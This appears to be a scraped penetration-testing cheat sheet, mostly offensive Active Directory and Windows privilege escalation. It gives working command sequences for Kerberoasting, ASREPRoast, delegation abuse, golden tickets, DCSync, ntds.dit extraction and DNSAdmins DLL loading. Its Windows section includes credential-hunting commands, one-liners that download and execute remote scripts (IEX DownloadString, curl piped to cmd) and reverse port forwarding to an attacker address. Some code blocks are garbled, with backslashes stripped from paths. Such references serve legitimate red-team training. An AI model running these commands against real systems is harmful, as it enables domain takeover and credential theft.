  # Bookmarks



            

          

      

      

    

  

    
      
          
            
  # Traffic Anonymization

## Anonymous OSes that Utilize Tor


	Whonix
* [Whonix for Virtualbox](https://www.whonix.org/wiki/VirtualBox/XFCE)


	Tails


	Qubes


	TorVM




## Anonymous OS Comparison

[Anonymous OS Comparison](https://www.whonix.org/wiki/Comparison_with_Others)



            

          

      

      

    

  

    
      
          
            
  # Other Resources



            

          

      

      

    

  

    
      
          
            
  # Active Directory Privilege Escalation

### Kerberoast
WUT IS DIS?: 


All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a “user”
account, extract the encrypted blob that was encrypted using the user’s password and bruteforce it offline.



	PowerView:




```
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast

#Requesting the TGS for a single account:
Request-SPNTicket

#Export all tickets using Mimikatz
Invoke-Mimikatz -Command ‘“kerberos::list /export”’
`
- AD Module:
`
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne “$null”} -Properties ServicePrincipalName
`
- Impacket:
`
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
`
- Rubeus:
`
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

#Kerberoasting whle being “OPSEC” safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>
```








	### ASREPRoast
	
	WUT IS DIS?: 
	If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.


	PowerView: Get-DomainUser -PreauthNotRequired -Verbose


	AD Module: Get-ADUser -Filter {DoesNoteRequirePreAuth -eq $True} -Properties DoesNoteRequirePreAuth




Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more!
Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get “User Accounts” not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:
`
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
`

And finally execute the attack using the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) tool.
```
#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose

#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
```

Using Rubeus:
```
#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
```

Using Impacket:
`
#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>
`







	### Password Spray Attack
	If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse
on other domain accounts.

Tools:
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
- [SharpHose](https://github.com/ustayready/SharpHose)
- [Spray](https://github.com/Greenwolf/Spray)





### Force Set SPN

WUT IS DIS ?:
If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.


	PowerView:





```




#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match “RDPUsers”}

#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname

#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname=’ops/whatever1’}
`
- AD Module:
`
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName

#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add=’ops/whatever1’}
`
Finally use any tool from before to grab the hash and kerberoast it!
### Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.
`
#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

#List shadow copies using diskshadow
diskshadow list shadows all

#Make a symlink to the shadow copy and access it
mklink /d c:shadowcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1```
1) You can dump the backuped SAM database and harvest credentials.
2) Look for DPAPI stored creds and decrypt them.
3) Access backuped sensitive files.
### List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:
- %appdata%MicrosoftCredentials
- %localappdata%MicrosoftCredentials

```
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:”%appdata%MicrosoftCredentials<CredHash>”

#From the previous command we are interested to the “guidMasterKey” parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:”%appdata%MicrosoftProtect<usersid><MasterKeyGUID>”

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:”%appdata%MicrosoftProtect<usersid><MasterKeyGUID>” /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:”%appdata%MicrosoftCredentials<CredHash>”
```

Detailed Article:
[DPAPI all the things](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
### Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a
high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:
```
#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command ‘“sekurlsa::tickets”’

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Dump the tickets to disk:
Invoke-Mimikatz -Command ‘“sekurlsa::tickets /export”’

#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command ‘“kerberos::ptt <PathToTicket>”’
```
Note: We can also use Rubeus!

### Constrained Delegation

Using PowerView and Kekeo:
```
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain’s FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain’s FQDN> /service:<Service’s SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command ‘“kerberos::ptt <PathToTGS>”’
`
*ALTERNATIVE:*
Using Rubeus:
`
Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:”<Service’s SPN>” /altservice:<Optional> /ptt
```
Now we can access the service as the impersonated user!


	triangular_flag_on_post:

	What if we have delegation rights for only a spesific SPN? (e.g TIME):





In this case we can still abuse a feature of kerberos called “alternative service”. This allows us to request TGS tickets for other “alternative” services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

### Resource Based Constrained Delegation

WUT IS DIS?: TL;DR If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

First we need to enter the security context of the user/machine account that has the privileges over the object.
If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:
```
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString ‘p@ssword!’ -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))”
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account’s password using Rubeus
Rubeus.exe hash /password:’p@ssword!’

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \TargetMachine.wtver.domainC$
```
Detailed Articles:



	[Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)


	[RESOURCE-BASED CONSTRAINED DELEGATION ABUSE](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/)








	exclamation:

	In Constrain and Resource-Based Constrained Delegation if we don’t have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick “tgt::deleg” from kekeo or “tgtdeleg” from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.





`
#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap
`


	Detailed Article:
	[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)





### DNSAdmins Abuse

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.


	Enumerate the members of the DNSAdmins group:
- PowerView: Get-NetGroupMember -GroupName “DNSAdmins”
- AD Module: Get-ADGroupMember -Identiny DNSAdmins


	Once we found a member of this group we need to compromise it (There are many ways).


	Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
```
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \PathToOurDllmalicious.dll

#Restart the DNS Service:
sc \DNSServer stop dns
sc \DNSServer start dns
```






	### Abusing Active Directory-Integraded DNS
	
	[Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/)


	[ADIDNS Revisited](https://blog.netspi.com/adidns-revisited/)


	[Inveigh](https://github.com/Kevin-Robertson/Inveigh)








### Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators
group, we can then abuse it’s SeBackupPrivilege to create a shadow copy of the current state of the DC,
extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.


	Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:




```
#Create a .txt file that will contain the shadow copy process script
Script ->{
set context persistent nowriters
set metadata c:windowssystem32spooldriverscolorexample.cab
set verbose on
begin backup
add volume c: alias mydrive

create

expose %mydrive% w:
end backup
}

#Execute diskshadow with our script as parameter
diskshadow /s script.txt
`
2) Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just
simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are
going to use [this](https://github.com/giuliano108/SeBackupPrivilege) amazing repo:
`
#Importing both dlls from the repo using powershell
Import-Module .SeBackupPrivilegeCmdLets.dll
Import-Module .SeBackupPrivilegeUtils.dll

#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege

#If it isn’t we enable it
Set-SeBackupPrivilege

#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:windowsNTDSntds.dit c:<PathToSave>ntds.dit -Overwrite

#Dump the SYSTEM hive
reg save HKLMSYSTEM c:tempsystem.hive
```
3) Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
4) Use secretsdump.py from impacket and dump the hashes.
5) Use psexec or another tool of your choice to PTH and get Domain Admin access.
### Abusing Exchange
- [Abusing Exchange one Api call from DA](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/)
- [CVE-2020-0688](https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys)
- [PrivExchange](https://github.com/dirkjanm/PrivExchange) Exchange your privileges for Domain Admin privs by abusing Exchange
### Weaponizing Printer Bug
- [Printer Server Bug to Domain Administrator](https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/)
- [NetNTLMtoSilverTicket](https://github.com/NotMedic/NetNTLMtoSilverTicket)
### Abusing ACLs
- [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [aclpwn.py](https://github.com/fox-it/aclpwn.py)
- [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn)
### Abusing IPv6 with mitm6
- [Compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
- [mitm6](https://github.com/fox-it/mitm6)
### SID History Abuse
WUT IS DIS?: If we manage to compromise a child domain of a forest and [SID filtering](https://www.itprotoday.com/windows-8/sid-filtering) isn’t enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the [SID History](https://www.itprotoday.com/windows-8/sid-history) field on a kerberos TGT ticket, that defines the “extra” security groups and privileges.

Exploitation example:
```
#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID
Format: RootDomainSID-519

#Forge “Extra” Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:pathtoticketgolden.kirbi

#Inject the ticket into memory
kerberos::ptt pathtoticketgolden.kirbi

#List the DC of the Root Domain
dir \dc.root.domain.localC$

#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all
```

Detailed Articles:
- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640)
- [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### Exploiting SharePoint
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE Exploitation 


[PoC](https://github.com/k8gege/CVE-2019-0604)





	[CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization)  Code execution through BDC deserialization


	[CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE using typeconverters [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)




### Zerologon Exploit
- [Zerologon: Unauthenticated domain controller compromise](https://www.secura.com/pathtoimg.php?id=2055): White paper of the vulnerability.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): C# implementation of the Zerologon exploit.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Powershell implementation of the Zerologon exploit.
- [Zer0Dump](https://github.com/bb00/zer0dump): Python implementation of the Zerologon exploit using the impacket library.



            

          

      

      

    

  

    
      
          
            
  # Linux Privilege Escalation



            

          

      

      

    

  

    
      
          
            
  # Local Windows Privilege Escalation

## OS

Get architecture & patches
`CMD
systeminfo
wmic qfe
`
Get Environment Variables
`CMD
set
`
`PowerShell
Get-ChildItem Env: | ft Key,Value
`
Get Connected Drives
`CMD
net use
wmic logicaldisk get caption,description,providername
`
`PowerShell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
`
## Users

Any interesting user privileges? Note: The State column does not mean that the user does or does not have access to this privilege. If the privilege is listed, then that user has it.
`CMD
whoami /priv
`

What users are on the system? Any old user profiles that weren’t cleaned up?
`CMD
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
`
`PowerShell
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
`

Is anyone else logged in?
`CMD
qwinsta
`

What local groups are on the system?
`CMD
net localgroup
`
`PowerShell
Get-LocalGroup | ft Name
`

Check Admnistrators Group users
`CMD
net localgroup Administrators
`
`PowerShell
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
`

Anything in the Registry for User Autologon?
`CMD
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
`
`PowerShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
`

Anything interesting in Credential Manager?
`CMD
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
`
`PowerShell
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
`

Can we access SAM and SYSTEM files?
`CMD
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
`

## Programs, Processes, and Services

What software is installed?
`CMD
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
`
```PowerShell
Get-ChildItem ‘C:Program Files’, ‘C:Program Files (x86)’ | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINESOFTWARE | ft Name
```

Full Permissions for Everyone or Users on Program Folders?
```CMD
icacls “C:Program Files*” 2>nul | findstr “(F)” | findstr “Everyone”
icacls “C:Program Files (x86)*” 2>nul | findstr “(F)” | findstr “Everyone”

icacls “C:Program Files*” 2>nul | findstr “(F)” | findstr “BUILTINUsers”
icacls “C:Program Files (x86)*” 2>nul | findstr “(F)” | findstr “BUILTINUsers”
```

Modify Permissions for Everyone or Users on Program Folders?
```CMD
icacls “C:Program Files*” 2>nul | findstr “(M)” | findstr “Everyone”
icacls “C:Program Files (x86)*” 2>nul | findstr “(M)” | findstr “Everyone”

icacls “C:Program Files*” 2>nul | findstr “(M)” | findstr “BUILTINUsers”
icacls “C:Program Files (x86)*” 2>nul | findstr “(M)” | findstr “BUILTINUsers”
```

```PowerShell
Get-ChildItem ‘C:Program Files*’,’C:Program Files (x86)*’ | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ‘Everyone’} } catch {}}

Get-ChildItem ‘C:Program Files*’,’C:Program Files (x86)*’ | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ‘BUILTINUsers’} } catch {}}
```

You can also upload accesschk from Sysinternals to check for writeable folders and files.
https://live.sysinternals.com/
`CMD
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
`

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it?
`CMD
tasklist /svc
tasklist /v
net start
sc query
`

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.
`PowerShell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
`

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.
`PowerShell
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
`

Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.
`CMD
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
`

Are there any unquoted service paths?
`CMD
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
`

`PowerShell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
`

What scheduled tasks are there? Anything custom implemented?
`CMD
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
`

`PowerShell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
`

What is ran at startup?
`CMD
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
`

`PowerShell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
`

Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.
`CMD
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`

##  Networking

What NICs are connected? Are there multiple networks?
`CMD
ipconfig /all
`

`PowerShell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
`

Anything in the ARP cache?
`CMD
arp -a
`

`PowerShell
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
`

Are there connections to other hosts?
`CMD
netstat -ano
`

Anything in the hosts file?
`CMD
C:\WINDOWS\System32\drivers\etc\hosts
`

Is the firewall turned on? If so what’s configured?
`CMD
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
`

Any other interesting interface configurations?
`CMD
netsh dump
`

Are there any SNMP configurations?
`CMD
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
`

`PowerShell
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
`

## Interesting Files and Sensitive Information

Any passwords in the registry?

`CMD
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
`

Are there sysprep or unattend files available that weren’t cleaned up?
`CMD
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
`
`PowerShell
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
`

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?
`CMD
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
`
`PowerShell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
`

What’s in the IIS Logs?
`CMD
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
`

Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?
`CMD
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
`
`PowerShell
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
`

Any Apache web logs?
`CMD
dir /s access.log error.log
`
`PowerShell
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
`

Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?
`CMD
dir /s *pass* == *vnc* == *.config* 2>nul
`
`PowerShell
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
`

Files containing password inside them?
`CMD
findstr /si password *.xml *.ini *.txt *.config 2>nul
`
`PowerShell
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
`

## Techniques

### Transferring Files

PowerShell Cmdlet
`PowerShell
Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
`

PowerShell One-Liner
`PowerShell
(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
`

PowerShell One-Line Script Execution in Memory
`PowerShell
IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
`

PowerShell with Proxy
`PowerShell
$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));
`

PowerShell Script
```PowerShell
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = “http://server/file.exe” >>wget.ps1
echo $file = “output-file.exe” >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

Non-interactive FTP via text file. Useful for when you only have limited command execution.
```CMD
echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt

ftp -v -n -s:ftp.txt
```

CertUtil
`CMD
certutil.exe -urlcache -split -f https://myserver/filename outputfilename
`

Certutil can also be used for base64 encoding/decoding.
`CMD
certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName
`

CURL
`CMD
curl http://server/file -o file
curl http://server/file.bat | cmd
`

And with PowerShell
`PowerShell
IEX(curl http://server/script.ps1);Invoke-Blah
`

### Port Forwarding

For example to expose SMB, on the target run:

`cmd
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
`

SSH enabled in Win10 1803 by default
`CMD
ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
`

### Port Forwarding

## Resources
* https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
* https://live.sysinternals.com/
* https://github.com/absolomb/WindowsEnum



            

          

      

      

    

  

    
      
          
            
  

            

          

      

      

    

  

    
      
          
            
  # Password Cracking

## Background

Password cracking is the process of attempting to gain unauthorized access to protected computer systems by guessing or cracking the password used to secure them. This is typically accomplished through various techniques such as dictionary attacks, brute force attacks, and other forms of password cracking software. The goal of password cracking is to obtain sensitive information such as login credentials, personal information, and other confidential data that is protected by passwords.

## Tools

John the Ripper
Hashcat
Aircrack-ng
L0phtCrack
Cain and Abel
Brutus
Hydra
Ncrack

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
https://github.com/trustedsec/ridenum

Metasploit RID Cycling

`bash
use auxiliary/scanner/smb/smb_lookupsid
`



            

          

      

      

    

  

    
      
          
            
  

            

          

      

      

    

  

    
      
          
            
  # DNS Recon

Techniques for enumerating DNS for penetration testing


	[Background](#background)


